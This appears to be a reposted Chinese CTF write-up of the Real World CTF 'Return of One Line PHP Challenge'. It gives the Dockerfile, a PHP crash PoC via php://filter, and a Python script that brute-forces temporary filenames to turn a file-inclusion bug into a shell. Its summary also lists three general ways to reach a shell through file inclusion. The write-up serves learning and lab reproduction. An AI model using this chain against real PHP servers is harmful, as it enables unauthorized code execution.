内容简介:被Real World CTF虐哭了,不过能够跟世界级的大佬同台竞技也感到满足了。这次RW线下出了一道名为
前言
被Real World CTF虐哭了,不过能够跟世界级的大佬同台竞技也感到满足了。
这次RW线下出了一道名为 The Return of One Line PHP Challenge
的web题,题目描述翻译如下
源码和环境跟HITCON2018中orange大佬出的 One Line PHP Challenge 题目源码一模一样。只不过关闭了当时预期解所用到的 session.upload
。很明显就是把当时的非预期解拿出来出了一道题。orz!!!
比赛结束当天就已经给了官方wp:利用了 php 的内存漏洞,使php挂掉,上传大量临时文件,然后爆破临时文件名getshell。在这里复现一下。
题目
描述:What happens if I turn off session.upload? This challenge is almost identical to HITCON CTF 2018’s challenge One Line PHP Challenge (Tribute to orange). Plz read the docker file and show me your shell.
Dockerfile:
FROM ubuntu:18.04 COPY flag /flag RUN apt-get update RUN apt-get -y install tzdata RUN apt-get -y install php RUN apt-get -y install apache2 RUN apt-get -y install libapache2-mod-php RUN rm /var/www/html/index.html RUN mv /flag `cat /flag` RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/apache2/php.ini RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/cli/php.ini RUN echo 'PD9waHAKICAoJF89QCRfR0VUWydvcmFuZ2UnXSkgJiYgQHN1YnN0cihmaWxlKCRfKVswXSwwLDYpID09PSAnQDw/cGhwJyA/IGluY2x1ZGUoJF8pIDogaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOw==' | base64 -d > /var/www/html/index.php RUN chmod -R 755 /var/www/html CMD service apache2 start & tail -F /var/log/apache2/access.log
源码
<?php ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
我们要通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出前6个字符和 @<?php
比对,如果相同则包含这个文件。
回想One Line PHP Challenge
网上已有很多关于这道题的详解,例如: HITCON2018-One Line PHP Challenge ,这里我只简单理一下思路。
HITCON2018中此题的预期思路为:利用session.upload,我们POST一个与INI中设置的session.upload progress.name同名变量且在cookie中带上PHPSESSID,服务器就会根据我们这个 PHPSESSID 在session 文件的默认存放位置生成一个文件名为 sess__
+ PHPSESSID
的session 文件(无论服务端PHP有没有开session )。内容格式为php.ini中 session.upload_progress.prefix的值
+ 变量PHP_SESSION_UPLOAD_PROGRESS的值
+ 一些与上传进度文件有关的序列化值
例如
然后利用php过滤器,将文件内容前面的`upload_progress 过滤为空,即可绕过
@<?php`成功getshell。具体可以参考K0rz3n师傅的文章 : 关于One-line-php-challenge的思考
解题过程
php临时文件
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符])。这个临时文件,在请求结束后就会被删除。
虽然可以将数据包的各个位置塞满垃圾数据,延长临时文件被删除的时间,然后对文件名进行爆破getshell。但是不得不说碰撞成功的概率不是一般的低。
php崩溃漏洞
当我们向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,此时我们所POST缓存文件就会被保留。
之前王一航师傅发现过一个可PHP < 7.2异常退出的bug,详情: https://www.jianshu.com/p/dfd049924258。但是这里的环境为php7.2。
这道题的官方出题人发现了一个通杀php7全版本的PHP内存漏洞,可以使PHP异常退出。详情可见wp: HackMD – Collaborative markdown notes 。
POC
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
利用这个漏洞我们可以POST大量缓存文件来提高我们爆破文件名的成功率,进而getshell。
我利用题目所给的dockerfile在虚拟机中启了一个 docker 环境。
构造数据包
进入容器查看,发现缓存文件成功保存。
利用burp多线程POST大量缓存文件。(小技巧: 每次请求可以发送20个文件)
利用脚本爆破文件名,getshell。
这里贴上王一航师傅的写的爆破脚本
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string charset = string.digits + string.letters host = "192.168.1.9" port = 8000 base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files(): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/index.php?orange=/tmp/php%s" % ( base_url, filename) print url try: response = requests.get(url) if 'flag' in response.content: print "[+] Include success!" return True except Exception as e: print e return False def main(): brute_force_tmp_files() if __name__ == "__main__": main()
爆破文件名成功
getshell
总结
ORZ,仅仅两行代码就可以从中学到这么多东西,不得不膜。
另外p牛也在小密圈总结了,这个题目在实战中有很多应用场景。最常见的就是:当一个目标存在任意文件包含漏洞的时候,你却找不到可以包含的文件,无法getshell。可以有三种方法:
1、借用phpinfo,包含临时文件来getshell,
2、 利用PHP_SESSION_UPLOAD_PROGRESS,包含session文件来getshell
3、也就是本文所写的,利用一个可以使PHP挂掉的漏洞(如内存漏洞等),使PHP停止执行,此时上传的临时文件就没有删除。我们可以爆破缓存文件名来getshell。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。